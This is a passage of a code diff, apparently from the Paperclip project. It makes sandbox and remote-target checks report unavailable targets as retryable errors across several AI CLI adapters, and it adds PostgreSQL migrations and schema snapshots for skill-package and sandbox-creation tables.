target: AdapterSandboxExecutionTarget,
env: Record<string, string>,
): Promise<{ resolved: boolean; timedOut: boolean; stderr: string }> {
): Promise<{ resolved: boolean; stderr: string }> {
const runner = requireSandboxRunner(target);
const probeScript = `command -v ${shellQuote(command)}`;
const result = await runner.execute({
command: "sh",
args: ["-c", probeScript],
cwd: target.remoteCwd,
env,
timeoutMs: target.timeoutMs ?? 15_000,
});
const result = await runRemoteExecutionTargetCheck(
target, `checking command "${command}" on sandbox target.`,
() => runner.execute({
command: "sh",
args: ["-c", probeScript],
cwd: target.remoteCwd,
env,
timeoutMs: target.timeoutMs ?? 15_000,
}),
);
return {
resolved: !result.timedOut && (result.exitCode ?? 1) === 0,
timedOut: result.timedOut,
resolved: result.exitCode === 0,
stderr: result.stderr.trim(),
};
}
@@ -772,15 +802,13 @@ async function ensureSandboxCommandResolvable(
// SSH's buildSshSpawnTarget) so this and the hello probe agree on PATH.
let probe = await probeSandboxCommandResolvable(command, target, env);
if (probe.resolved) return;
if (probe.timedOut) {
throw new Error(`Timed out checking command "${command}" on sandbox target.`);
}
// If the caller supplied an install command, attempt the install once via
// the sandbox runner (which the sandbox provider wraps in a login shell)
// and re-probe before reporting failure. This lets fresh sandbox leases
// bring up the CLI before the resolvability gate, mirroring the test path.
let installFailureDetail: string | null = null;
let installUnavailable: Error | null = null;
if (installCommand) {
const runner = requireSandboxRunner(target);
const installTimeoutMs =
@@ -797,6 +825,9 @@ async function ensureSandboxCommandResolvable(
});
if (installResult.timedOut) {
installFailureDetail = `install command timed out: ${installCommand}`;
installUnavailable = executionTargetCheckUnavailable("The runtime installation timed out.");
} else if (installResult.signal || installResult.exitCode === null) {
installUnavailable = executionTargetCheckUnavailable("The runtime installation did not complete.");
} else if ((installResult.exitCode ?? 0) !== 0) {
const tail = (text: string) =>
text.split(/\r?\n/).filter((line) => line.trim().length > 0).slice(-2).join(" | ").slice(0, 240);
@@ -805,12 +836,11 @@ async function ensureSandboxCommandResolvable(
}
} catch (err) {
installFailureDetail = `install command threw: ${err instanceof Error ? err.message : String(err)}`;
installUnavailable = executionTargetCheckUnavailable("The runtime installation was unavailable.", err);
}
probe = await probeSandboxCommandResolvable(command, target, env);
if (probe.resolved) return;
if (probe.timedOut) {
throw new Error(`Timed out checking command "${command}" on sandbox target.`);
}
if (installUnavailable) throw installUnavailable;
}
const probeStderr = probe.stderr.length > 0 ? ` probe stderr: ${probe.stderr}` : "";
@@ -1270,7 +1300,8 @@ export async function ensureAdapterExecutionTargetFile(
* `mkdir -p` (when allowed) followed by a `[ -d ]` check so the result reflects
* the directory state inside the environment, not on the Paperclip host.
*
* Throws an Error with a human-readable message on failure.
* Throws an Error with a human-readable message on failure. Temporary target
* failures carry a typed code so adapters can retain them as retryable checks.
*/
export async function ensureAdapterExecutionTargetDirectory(
runId: string,
@@ -1296,17 +1327,16 @@ export async function ensureAdapterExecutionTargetDirectory(
? `mkdir -p ${quoted} && [ -d ${quoted} ]`
: `[ -d ${quoted} ]`;
const result = await runAdapterExecutionTargetShellCommand(runId, target, script, {
cwd: target.kind === "remote" ? target.remoteCwd : cwd,
env: options.env,
timeoutSec: options.timeoutSec ?? 15,
graceSec: options.graceSec ?? 5,
onLog: options.onLog,
});
if (result.timedOut) {
throw new Error(`Timed out checking working directory on remote target: "${cwd}"`);
}
const result = await runRemoteExecutionTargetCheck(
target, `checking working directory on remote target: "${cwd}"`,
() => runAdapterExecutionTargetShellCommand(runId, target, script, {
cwd: target.remoteCwd,
env: options.env,
timeoutSec: options.timeoutSec ?? 15,
graceSec: options.graceSec ?? 5,
onLog: options.onLog,
}),
);
if ((result.exitCode ?? 1) !== 0) {
const detail = (result.stderr || result.stdout || "").trim();
if (createIfMissing) {
+2
View File
@@ -308,6 +308,8 @@ export interface AdapterEnvironmentCheck {
message: string;
detail?: string | null;
hint?: string | null;
/** The check could not complete because its execution target was unavailable. */
retryable?: boolean;
}
export type AdapterEnvironmentTestStatus = "pass" | "warn" | "fail";
@@ -14,6 +14,7 @@ import {
import {
ensureAdapterExecutionTargetCommandResolvable,
ensureAdapterExecutionTargetDirectory,
isAdapterExecutionTargetUnavailableError,
runAdapterExecutionTargetProcess,
resolveAdapterExecutionTargetCwd,
resolveAdapterExecutionTargetCommandForLogs,
@@ -114,6 +115,7 @@ export async function testEnvironment(
} catch (err) {
checks.push({
code: "claude_cwd_invalid",
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
level: "error",
message: err instanceof Error ? err.message : "Invalid working directory",
detail: cwd,
@@ -168,6 +170,7 @@ export async function testEnvironment(
} catch (err) {
checks.push({
code: "claude_command_unresolvable",
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
level: "error",
message: err instanceof Error ? err.message : "Command is not executable",
detail: command,
@@ -11,6 +11,7 @@ import {
import {
ensureAdapterExecutionTargetCommandResolvable,
ensureAdapterExecutionTargetDirectory,
isAdapterExecutionTargetUnavailableError,
maybeRunSandboxInstallCommand,
runAdapterExecutionTargetProcess,
describeAdapterExecutionTarget,
@@ -308,6 +309,7 @@ export async function testEnvironment(
} catch (err) {
checks.push({
code: "codex_cwd_invalid",
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
level: "error",
message: err instanceof Error ? err.message : "Invalid working directory",
detail: cwd,
@@ -339,6 +341,7 @@ export async function testEnvironment(
} catch (err) {
checks.push({
code: "codex_command_unresolvable",
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
level: "error",
message: err instanceof Error ? err.message : "Command is not executable",
detail: command,
@@ -13,6 +13,7 @@ import {
import {
ensureAdapterExecutionTargetCommandResolvable,
ensureAdapterExecutionTargetDirectory,
isAdapterExecutionTargetUnavailableError,
maybeRunSandboxInstallCommand,
runAdapterExecutionTargetProcess,
describeAdapterExecutionTarget,
@@ -119,6 +120,7 @@ export async function testEnvironment(
} catch (err) {
checks.push({
code: "cursor_cwd_invalid",
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
level: "error",
message: err instanceof Error ? err.message : "Invalid working directory",
detail: cwd,
@@ -173,6 +175,7 @@ export async function testEnvironment(
} catch (err) {
checks.push({
code: "cursor_command_unresolvable",
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
level: "error",
message: err instanceof Error ? err.message : "Command is not executable",
detail: command,
@@ -16,6 +16,7 @@ import {
ensureAdapterExecutionTargetCommandResolvable,
maybeRunSandboxInstallCommand,
ensureAdapterExecutionTargetDirectory,
isAdapterExecutionTargetUnavailableError,
runAdapterExecutionTargetProcess,
describeAdapterExecutionTarget,
resolveAdapterExecutionTargetCwd,
@@ -107,6 +108,7 @@ export async function testEnvironment(
} catch (err) {
checks.push({
code: "gemini_cwd_invalid",
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
level: "error",
message: err instanceof Error ? err.message : "Invalid working directory",
detail: cwd,
@@ -141,6 +143,7 @@ export async function testEnvironment(
} catch (err) {
checks.push({
code: "gemini_command_unresolvable",
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
level: "error",
message: err instanceof Error ? err.message : "Command is not executable",
detail: command,
@@ -15,6 +15,7 @@ import {
prepareAdapterExecutionTargetRuntime,
ensureAdapterExecutionTargetCommandResolvable,
ensureAdapterExecutionTargetDirectory,
isAdapterExecutionTargetUnavailableError,
resolveAdapterExecutionTargetCwd,
runAdapterExecutionTargetProcess,
} from "@paperclipai/adapter-utils/execution-target";
@@ -144,6 +145,7 @@ export async function testEnvironment(
} catch (err) {
checks.push({
code: "grok_cwd_invalid",
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
level: "error",
message: err instanceof Error ? err.message : "Invalid working directory",
detail: cwd,
@@ -204,6 +206,7 @@ export async function testEnvironment(
} catch (err) {
checks.push({
code: "grok_command_unresolvable",
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
level: "error",
message: err instanceof Error ? err.message : "Command is not executable",
detail: command,
@@ -17,6 +17,7 @@ import {
ensureAdapterExecutionTargetCommandResolvable,
maybeRunSandboxInstallCommand,
ensureAdapterExecutionTargetDirectory,
isAdapterExecutionTargetUnavailableError,
runAdapterExecutionTargetProcess,
describeAdapterExecutionTarget,
resolveAdapterExecutionTargetCwd,
@@ -156,6 +157,7 @@ export async function testEnvironment(
} catch (err) {
checks.push({
code: "kimi_cwd_invalid",
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
level: "error",
message: err instanceof Error ? err.message : "Invalid working directory",
detail: cwd,
@@ -187,6 +189,7 @@ export async function testEnvironment(
} catch (err) {
checks.push({
code: "kimi_command_unresolvable",
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
level: "error",
message: err instanceof Error ? err.message : "Command is not executable",
detail: command,
@@ -19,6 +19,7 @@ import {
ensureAdapterExecutionTargetCommandResolvable,
maybeRunSandboxInstallCommand,
ensureAdapterExecutionTargetDirectory,
isAdapterExecutionTargetUnavailableError,
runAdapterExecutionTargetProcess,
describeAdapterExecutionTarget,
resolveAdapterExecutionTargetCwd,
@@ -102,6 +103,7 @@ export async function testEnvironment(
} catch (err) {
checks.push({
code: "opencode_cwd_invalid",
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
level: "error",
message: err instanceof Error ? err.message : "Invalid working directory",
detail: cwd,
@@ -219,6 +221,7 @@ export async function testEnvironment(
} catch (err) {
checks.push({
code: "opencode_command_unresolvable",
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
level: "error",
message: err instanceof Error ? err.message : "Command is not executable",
detail: command,
@@ -16,6 +16,7 @@ import {
ensureAdapterExecutionTargetCommandResolvable,
maybeRunSandboxInstallCommand,
ensureAdapterExecutionTargetDirectory,
isAdapterExecutionTargetUnavailableError,
runAdapterExecutionTargetProcess,
describeAdapterExecutionTarget,
resolveAdapterExecutionTargetCwd,
@@ -115,6 +116,7 @@ export async function testEnvironment(
} catch (err) {
checks.push({
code: "pi_cwd_invalid",
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
level: "error",
message: err instanceof Error ? err.message : "Invalid working directory",
detail: cwd,
@@ -156,6 +158,7 @@ export async function testEnvironment(
} catch (err) {
checks.push({
code: "pi_command_unresolvable",
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
level: "error",
message: err instanceof Error ? err.message : "Command is not executable",
detail: command,
@@ -0,0 +1,19 @@
CREATE TABLE IF NOT EXISTS "company_skill_mutation_receipts" (
"company_id" uuid NOT NULL,
"key" text NOT NULL,
"fingerprint" text NOT NULL,
"skill_id" uuid NOT NULL,
"version_id" uuid NOT NULL,
"response" jsonb NOT NULL,
"created_at" timestamp with time zone DEFAULT now() NOT NULL
);
--> statement-breakpoint
DO $$ BEGIN
IF NOT EXISTS (SELECT 1 FROM pg_constraint
WHERE conname = 'company_skill_mutation_receipts_company_id_companies_id_fk'
AND conrelid = 'company_skill_mutation_receipts'::regclass) THEN
ALTER TABLE "company_skill_mutation_receipts" ADD CONSTRAINT "company_skill_mutation_receipts_company_id_companies_id_fk" FOREIGN KEY ("company_id") REFERENCES "public"."companies"("id") ON DELETE cascade ON UPDATE no action;
END IF;
END $$;
--> statement-breakpoint
CREATE UNIQUE INDEX IF NOT EXISTS "company_skill_mutation_receipts_key_idx" ON "company_skill_mutation_receipts" USING btree ("company_id","key");
@@ -0,0 +1,33 @@
CREATE TABLE IF NOT EXISTS "sandbox_creation_operations" (
"id" uuid PRIMARY KEY NOT NULL,
"company_id" uuid NOT NULL,
"environment_id" uuid,
"original_environment_id" uuid NOT NULL,
"run_id" uuid NOT NULL,
"request_key" text DEFAULT 'run' NOT NULL,
"issue_id" uuid,
"execution_workspace_id" uuid,
"provider" text NOT NULL,
"plugin_id" uuid,
"driver_key" text NOT NULL,
"state" text DEFAULT 'pending' NOT NULL,
"config" jsonb NOT NULL,
"metadata" jsonb NOT NULL,
"lease_id" uuid,
"next_attempt_at" timestamp with time zone NOT NULL,
"created_at" timestamp with time zone DEFAULT now() NOT NULL,
"updated_at" timestamp with time zone DEFAULT now() NOT NULL
);
--> statement-breakpoint
DO $$ BEGIN
IF NOT EXISTS (
SELECT 1 FROM pg_constraint
WHERE conname = 'sandbox_creation_operations_environment_id_environments_id_fk'
AND conrelid = 'sandbox_creation_operations'::regclass
) THEN
ALTER TABLE "sandbox_creation_operations" ADD CONSTRAINT "sandbox_creation_operations_environment_id_environments_id_fk" FOREIGN KEY ("environment_id") REFERENCES "public"."environments"("id") ON DELETE set null ON UPDATE no action;
END IF;
END $$;
--> statement-breakpoint
CREATE INDEX IF NOT EXISTS "sandbox_creation_operations_pending_deadline_idx" ON "sandbox_creation_operations" USING btree ("next_attempt_at") WHERE "sandbox_creation_operations"."state" = 'pending';--> statement-breakpoint
CREATE UNIQUE INDEX IF NOT EXISTS "sandbox_creation_operations_owner_idx" ON "sandbox_creation_operations" USING btree ("company_id","original_environment_id","run_id","request_key");
@@ -1,6 +1,6 @@
{
"id": "5690a14a-f9cc-41a6-af51-c27f688f4ef6",
"prevId": "3b8bb508-028d-4154-abdd-af870f1f3ca6",
"id": "c2c69a4a-8281-419c-9eeb-a7bcbc2beaae",
"prevId": "bbaeecd8-ff3f-4e70-a069-291bf3dc97bb",
"version": "7",
"dialect": "postgresql",
"tables": {
@@ -1351,6 +1351,39 @@
"method": "btree",
"with": {}
},
"activity_log_company_entity_created_idx": {
"name": "activity_log_company_entity_created_idx",
"columns": [
{
"expression": "company_id",
"isExpression": false,
"asc": true,
"nulls": "last"
},
{
"expression": "entity_type",
"isExpression": false,
"asc": true,
"nulls": "last"
},
{
"expression": "entity_id",
"isExpression": false,
"asc": true,
"nulls": "last"
},
{
"expression": "created_at",
"isExpression": false,
"asc": true,
"nulls": "last"
}
],
"isUnique": false,
"concurrently": false,
"method": "btree",
"with": {}
},
"activity_log_company_user_issue_actor_idx": {
"name": "activity_log_company_user_issue_actor_idx",
"columns": [
@@ -19019,6 +19052,98 @@
"checkConstraints": {},
"isRLSEnabled": false
},
"public.company_skill_mutation_receipts": {
"name": "company_skill_mutation_receipts",
"schema": "",
"columns": {
"company_id": {
"name": "company_id",
"type": "uuid",
"primaryKey": false,
"notNull": true
},
"key": {
"name": "key",
"type": "text",
"primaryKey": false,
"notNull": true
},
"fingerprint": {
"name": "fingerprint",
"type": "text",
"primaryKey": false,
"notNull": true
},
"skill_id": {
"name": "skill_id",
"type": "uuid",
"primaryKey": false,
"notNull": true
},
"version_id": {
"name": "version_id",
"type": "uuid",
"primaryKey": false,
"notNull": true
},
"response": {
"name": "response",
"type": "jsonb",
"primaryKey": false,
"notNull": true
},
"created_at": {
"name": "created_at",
"type": "timestamp with time zone",
"primaryKey": false,
"notNull": true,
"default": "now()"
}
},
"indexes": {
"company_skill_mutation_receipts_key_idx": {
"name": "company_skill_mutation_receipts_key_idx",
"columns": [
{
"expression": "company_id",
"isExpression": false,
"asc": true,
"nulls": "last"
},
{
"expression": "key",
"isExpression": false,
"asc": true,
"nulls": "last"
}
],
"isUnique": true,
"concurrently": false,
"method": "btree",
"with": {}
}
},
"foreignKeys": {
"company_skill_mutation_receipts_company_id_companies_id_fk": {
"name": "company_skill_mutation_receipts_company_id_companies_id_fk",
"tableFrom": "company_skill_mutation_receipts",
"tableTo": "companies",
"columnsFrom": [
"company_id"
],
"columnsTo": [
"id"
],
"onDelete": "cascade",
"onUpdate": "no action"
}
},
"compositePrimaryKeys": {},
"uniqueConstraints": {},
"policies": {},
"checkConstraints": {},
"isRLSEnabled": false
},
"public.company_skill_repository_snapshots": {
"name": "company_skill_repository_snapshots",
"schema": "",
@@ -19046,7 +19171,46 @@
"name": "file_inventory",
"type": "jsonb",
"primaryKey": false,
"notNull": true
"notNull": true,
"default": "'[]'::jsonb"
},
"storage": {
"name": "storage",
"type": "jsonb",
"primaryKey": false,
"notNull": false
},
"upload": {
"name": "upload",
"type": "jsonb",
"primaryKey": false,
"notNull": false
},
"restore": {
"name": "restore",
"type": "jsonb",
"primaryKey": false,
"notNull": false
},
"migration_at": {
"name": "migration_at",
"type": "timestamp with time zone",
"primaryKey": false,
"notNull": false,
"default": "now()"
},
"maintenance_at": {
"name": "maintenance_at",
"type": "timestamp with time zone",
"primaryKey": false,
"notNull": false,
"default": "now()"
},
"restore_retry_at": {
"name": "restore_retry_at",
"type": "timestamp with time zone",
"primaryKey": false,
"notNull": false
},
"created_at": {
"name": "created_at",
@@ -19077,6 +19241,38 @@
"concurrently": false,
"method": "btree",
"with": {}
},
"company_skill_snapshots_migration_idx": {
"name": "company_skill_snapshots_migration_idx",
"columns": [
{
"expression": "migration_at",
"isExpression": false,
"asc": true,
"nulls": "last"
}
],
"isUnique": false,
"where": "\"company_skill_repository_snapshots\".\"migration_at\" is not null",
"concurrently": false,
"method": "btree",
"with": {}
},
"company_skill_snapshots_maintenance_idx": {
"name": "company_skill_snapshots_maintenance_idx",
"columns": [
{
"expression": "maintenance_at",
"isExpression": false,
"asc": true,
"nulls": "last"
}
],
"isUnique": false,
"where": "\"company_skill_repository_snapshots\".\"maintenance_at\" is not null",
"concurrently": false,
"method": "btree",
"with": {}
}
},
"foreignKeys": {
@@ -19966,6 +20162,25 @@
"primaryKey": false,
"notNull": false
},
"package_snapshot_id": {
"name": "package_snapshot_id",
"type": "uuid",
"primaryKey": false,
"notNull": false
},
"package_file_map": {
"name": "package_file_map",
"type": "jsonb",
"primaryKey": false,
"notNull": false
},
"migration_at": {
"name": "migration_at",
"type": "timestamp with time zone",
"primaryKey": false,
"notNull": false,
"default": "now()"
},
"revision_number": {
"name": "revision_number",
"type": "integer",
@@ -20024,6 +20239,52 @@
}
},
"indexes": {
"company_skill_versions_migration_idx": {
"name": "company_skill_versions_migration_idx",
"columns": [
{
"expression": "migration_at",
"isExpression": false,
"asc": true,
"nulls": "last"
}
],
"isUnique": false,
"where": "\"company_skill_versions\".\"migration_at\" is not null",
"concurrently": false,
"method": "btree",
"with": {}
},
"company_skill_versions_package_snapshot_idx": {
"name": "company_skill_versions_package_snapshot_idx",
"columns": [
{
"expression": "package_snapshot_id",
"isExpression": false,
"asc": true,
"nulls": "last"
}
],
"isUnique": false,
"concurrently": false,
"method": "btree",
"with": {}
},
"company_skill_versions_repository_snapshot_idx": {
"name": "company_skill_versions_repository_snapshot_idx",
"columns": [
{
"expression": "repository_snapshot_id",
"isExpression": false,
"asc": true,
"nulls": "last"
}
],
"isUnique": false,
"concurrently": false,
"method": "btree",
"with": {}
},
"company_skill_versions_skill_revision_idx": {
"name": "company_skill_versions_skill_revision_idx",
"columns": [
@@ -20135,6 +20396,19 @@
"onDelete": "restrict",
"onUpdate": "no action"
},
"company_skill_versions_package_snapshot_id_company_skill_repository_snapshots_id_fk": {
"name": "company_skill_versions_package_snapshot_id_company_skill_repository_snapshots_id_fk",
"tableFrom": "company_skill_versions",
"tableTo": "company_skill_repository_snapshots",
"columnsFrom": [
"package_snapshot_id"
],
"columnsTo": [
"id"
],
"onDelete": "restrict",
"onUpdate": "no action"
},
"company_skill_versions_author_agent_id_agents_id_fk": {
"name": "company_skill_versions_author_agent_id_agents_id_fk",
"tableFrom": "company_skill_versions",
@@ -20580,6 +20854,78 @@
"checkConstraints": {},
"isRLSEnabled": false
},
"public.skill_package_deletions": {
"name": "skill_package_deletions",
"schema": "",
"columns": {
"id": {
"name": "id",
"type": "uuid",
"primaryKey": true,
"notNull": true,
"default": "gen_random_uuid()"
},
"company_id": {
"name": "company_id",
"type": "uuid",
"primaryKey": false,
"notNull": true
},
"provider": {
"name": "provider",
"type": "text",
"primaryKey": false,
"notNull": true
},
"archive_key": {
"name": "archive_key",
"type": "text",
"primaryKey": false,
"notNull": true
},
"manifest_key": {
"name": "manifest_key",
"type": "text",
"primaryKey": false,
"notNull": true
},
"delete_after": {
"name": "delete_after",
"type": "timestamp with time zone",
"primaryKey": false,
"notNull": true
}
},
"indexes": {
"skill_package_deletions_due_idx": {
"name": "skill_package_deletions_due_idx",
"columns": [
{
"expression": "delete_after",
"isExpression": false,
"asc": true,
"nulls": "last"
},
{
"expression": "id",
"isExpression": false,
"asc": true,
"nulls": "last"
}
],
"isUnique": false,
"concurrently": false,
"method": "btree",
"with": {}
}
},
"foreignKeys": {},
"compositePrimaryKeys": {},
"uniqueConstraints": {},
"policies": {},
"checkConstraints": {},
"isRLSEnabled": false
},
"public.company_transfer_runs": {
"name": "company_transfer_runs",
"schema": "",
@@ -33816,7 +34162,7 @@
}
],
"isUnique": false,
"where": "\"heartbeat_runs\".\"runtime_mode\" = 'native' AND \"heartbeat_runs\".\"status\" = 'cancelled'\n AND \"heartbeat_runs\".\"runner_profile_json\"->'nativeWorkspaceSync'->>'state' = 'prepared'\n AND \"heartbeat_runs\".\"result_json\"->'nativeCancellation'->>'dispatchState' = 'acknowledged'\n AND (\"heartbeat_runs\".\"result_json\"->'workspaceRestoreRecovery'->>'schema' = 'paperclip.workspace-restore-recovery.v1'\n AND \"heartbeat_runs\".\"result_json\"->>'workspaceRestoreFailure' IN ('restore_permission_denied', 'restore_lock_timeout', 'restore_unsafe_archive', 'restore_failed')) IS NOT TRUE",
"where": "\"heartbeat_runs\".\"runtime_mode\" = 'native' AND \"heartbeat_runs\".\"status\" = 'cancelled'\n AND \"heartbeat_runs\".\"runner_profile_json\"->'nativeWorkspaceSync'->>'state' = 'prepared'\n AND \"heartbeat_runs\".\"result_json\"->'nativeCancellation'->>'dispatchState' = 'acknowledged'\n AND (\"heartbeat_runs\".\"result_json\"->'workspaceRestoreRecovery'->>'schema' = 'paperclip.workspace-restore-recovery.v1'\n AND \"heartbeat_runs\".\"result_json\"->>'workspaceRestoreFailure' IN ('restore_permission_denied', 'restore_lock_timeout', 'restore_unsafe_archive', 'restore_invalid_metadata', 'restore_failed')) IS NOT TRUE",
"concurrently": false,
"method": "btree",
"with": {}
@@ -1,6 +1,6 @@
{
"id": "3b8bb508-028d-4154-abdd-af870f1f3ca6",
"prevId": "ff56ee93-8cfc-465a-b26a-1c12d10773ff",
"id": "c777fa84-85a6-418f-bea1-0d60b56cf071",
"prevId": "c2c69a4a-8281-419c-9eeb-a7bcbc2beaae",
"version": "7",
"dialect": "postgresql",
"tables": {
@@ -1351,6 +1351,39 @@
"method": "btree",
"with": {}
},
"activity_log_company_entity_created_idx": {
"name": "activity_log_company_entity_created_idx",
"columns": [
{
"expression": "company_id",
"isExpression": false,
"asc": true,
"nulls": "last"
},
{
"expression": "entity_type",
"isExpression": false,
"asc": true,
"nulls": "last"
},
{
"expression": "entity_id",
"isExpression": false,
"asc": true,
"nulls": "last"
},
{
"expression": "created_at",
"isExpression": false,
"asc": true,
"nulls": "last"
}
],
"isUnique": false,
"concurrently": false,
"method": "btree",
"with": {}
},
"activity_log_company_user_issue_actor_idx": {
"name": "activity_log_company_user_issue_actor_idx",
"columns": [
@@ -19019,6 +19052,98 @@
"checkConstraints": {},
"isRLSEnabled": false
},
"public.company_skill_mutation_receipts": {
"name": "company_skill_mutation_receipts",
"schema": "",
"columns": {
"company_id": {
"name": "company_id",
"type": "uuid",
"primaryKey": false,
"notNull": true
},
"key": {
"name": "key",
"type": "text",
"primaryKey": false,
"notNull": true
},
"fingerprint": {
"name": "fingerprint",
"type": "text",
"primaryKey": false,
"notNull": true
},
"skill_id": {
"name": "skill_id",
"type": "uuid",
"primaryKey": false,
"notNull": true
},
"version_id": {
"name": "version_id",
"type": "uuid",
"primaryKey": false,
"notNull": true
},
"response": {
"name": "response",
"type": "jsonb",
"primaryKey": false,
"notNull": true
},
"created_at": {
"name": "created_at",
"type": "timestamp with time zone",
"primaryKey": false,
"notNull": true,
"default": "now()"
}
},
"indexes": {
"company_skill_mutation_receipts_key_idx": {
"name": "company_skill_mutation_receipts_key_idx",
"columns": [
{
"expression": "company_id",
"isExpression": false,
"asc": true,
"nulls": "last"
},
{
"expression": "key",
"isExpression": false,
"asc": true,
"nulls": "last"
}
],
"isUnique": true,
"concurrently": false,
"method": "btree",
"with": {}
}
},
"foreignKeys": {
"company_skill_mutation_receipts_company_id_companies_id_fk": {
"name": "company_skill_mutation_receipts_company_id_companies_id_fk",
"tableFrom": "company_skill_mutation_receipts",
"tableTo": "companies",
"columnsFrom": [
"company_id"
],
"columnsTo": [
"id"
],
"onDelete": "cascade",
"onUpdate": "no action"
}
},
"compositePrimaryKeys": {},
"uniqueConstraints": {},
"policies": {},
"checkConstraints": {},
"isRLSEnabled": false
},
"public.company_skill_repository_snapshots": {
"name": "company_skill_repository_snapshots",
"schema": "",
@@ -19046,7 +19171,46 @@
"name": "file_inventory",
"type": "jsonb",
"primaryKey": false,
"notNull": true
"notNull": true,
"default": "'[]'::jsonb"
},
"storage": {
"name": "storage",
"type": "jsonb",
"primaryKey": false,
"notNull": false
},
"upload": {
"name": "upload",
"type": "jsonb",
"primaryKey": false,
"notNull": false
},
"restore": {
"name": "restore",
"type": "jsonb",
"primaryKey": false,
"notNull": false
},
"migration_at": {
"name": "migration_at",
"type": "timestamp with time zone",
"primaryKey": false,
"notNull": false,
"default": "now()"
},
"maintenance_at": {
"name": "maintenance_at",
"type": "timestamp with time zone",
"primaryKey": false,
"notNull": false,
"default": "now()"
},
"restore_retry_at": {
"name": "restore_retry_at",
"type": "timestamp with time zone",
"primaryKey": false,
"notNull": false
},
"created_at": {
"name": "created_at",
@@ -19077,6 +19241,38 @@
"concurrently": false,
"method": "btree",
"with": {}
},
"company_skill_snapshots_migration_idx": {
"name": "company_skill_snapshots_migration_idx",
"columns": [
{
"expression": "migration_at",
"isExpression": false,
"asc": true,
"nulls": "last"
}
],
"isUnique": false,
"where": "\"company_skill_repository_snapshots\".\"migration_at\" is not null",
"concurrently": false,
"method": "btree",
"with": {}
},
"company_skill_snapshots_maintenance_idx": {
"name": "company_skill_snapshots_maintenance_idx",
"columns": [
{
"expression": "maintenance_at",
"isExpression": false,
"asc": true,
"nulls": "last"
}
],
"isUnique": false,
"where": "\"company_skill_repository_snapshots\".\"maintenance_at\" is not null",
"concurrently": false,
"method": "btree",
"with": {}
}
},
"foreignKeys": {
@@ -19966,6 +20162,25 @@
"primaryKey": false,
"notNull": false
},
"package_snapshot_id": {
"name": "package_snapshot_id",
"type": "uuid",
"primaryKey": false,
"notNull": false
},
"package_file_map": {
"name": "package_file_map",
"type": "jsonb",
"primaryKey": false,
"notNull": false
},
"migration_at": {
"name": "migration_at",
"type": "timestamp with time zone",
"primaryKey": false,
"notNull": false,
"default": "now()"
},
"revision_number": {
"name": "revision_number",
"type": "integer",
@@ -20024,6 +20239,52 @@
}
},
"indexes": {
"company_skill_versions_migration_idx": {
"name": "company_skill_versions_migration_idx",
"columns": [
{
"expression": "migration_at",
"isExpression": false,
"asc": true,
"nulls": "last"
}
],
"isUnique": false,
"where": "\"company_skill_versions\".\"migration_at\" is not null",
"concurrently": false,
"method": "btree",
"with": {}
},
"company_skill_versions_package_snapshot_idx": {
"name": "company_skill_versions_package_snapshot_idx",
"columns": [
{
"expression": "package_snapshot_id",
"isExpression": false,
"asc": true,
"nulls": "last"
}
],
"isUnique": false,
"concurrently": false,
"method": "btree",
"with": {}
},
"company_skill_versions_repository_snapshot_idx": {
"name": "company_skill_versions_repository_snapshot_idx",
"columns": [
{
"expression": "repository_snapshot_id",
"isExpression": false,
"asc": true,
"nulls": "last"
}
],
"isUnique": false,
"concurrently": false,
"method": "btree",
"with": {}
},
"company_skill_versions_skill_revision_idx": {
"name": "company_skill_versions_skill_revision_idx",
"columns": [
@@ -20135,6 +20396,19 @@
"onDelete": "restrict",
"onUpdate": "no action"
},
"company_skill_versions_package_snapshot_id_company_skill_repository_snapshots_id_fk": {
"name": "company_skill_versions_package_snapshot_id_company_skill_repository_snapshots_id_fk",
"tableFrom": "company_skill_versions",
"tableTo": "company_skill_repository_snapshots",
"columnsFrom": [
"package_snapshot_id"
],
"columnsTo": [
"id"
],
"onDelete": "restrict",
"onUpdate": "no action"
},
"company_skill_versions_author_agent_id_agents_id_fk": {
"name": "company_skill_versions_author_agent_id_agents_id_fk",
"tableFrom": "company_skill_versions",
@@ -20580,6 +20854,78 @@
"checkConstraints": {},
"isRLSEnabled": false
},
"public.skill_package_deletions": {
"name": "skill_package_deletions",
"schema": "",
"columns": {
"id": {
"name": "id",
"type": "uuid",
"primaryKey": true,
"notNull": true,
"default": "gen_random_uuid()"
},
"company_id": {
"name": "company_id",
"type": "uuid",
"primaryKey": false,
"notNull": true
},
"provider": {
"name": "provider",
"type": "text",
"primaryKey": false,
"notNull": true
},
"archive_key": {
"name": "archive_key",
"type": "text",
"primaryKey": false,
"notNull": true
},
"manifest_key": {
"name": "manifest_key",
"type": "text",
"primaryKey": false,
"notNull": true
},
"delete_after": {
"name": "delete_after",
"type": "timestamp with time zone",
"primaryKey": false,
"notNull": true
}
},
"indexes": {
"skill_package_deletions_due_idx": {
"name": "skill_package_deletions_due_idx",
"columns": [
{
"expression": "delete_after",
"isExpression": false,
"asc": true,
"nulls": "last"
},
{
"expression": "id",
"isExpression": false,
"asc": true,
"nulls": "last"
}
],
"isUnique": false,
"concurrently": false,
"method": "btree",
"with": {}
}
},
"foreignKeys": {},
"compositePrimaryKeys": {},
"uniqueConstraints": {},
"policies": {},
"checkConstraints": {},
"isRLSEnabled": false
},
"public.company_transfer_runs": {
"name": "company_transfer_runs",
"schema": "",
@@ -33816,7 +34162,7 @@
}
],
"isUnique": false,
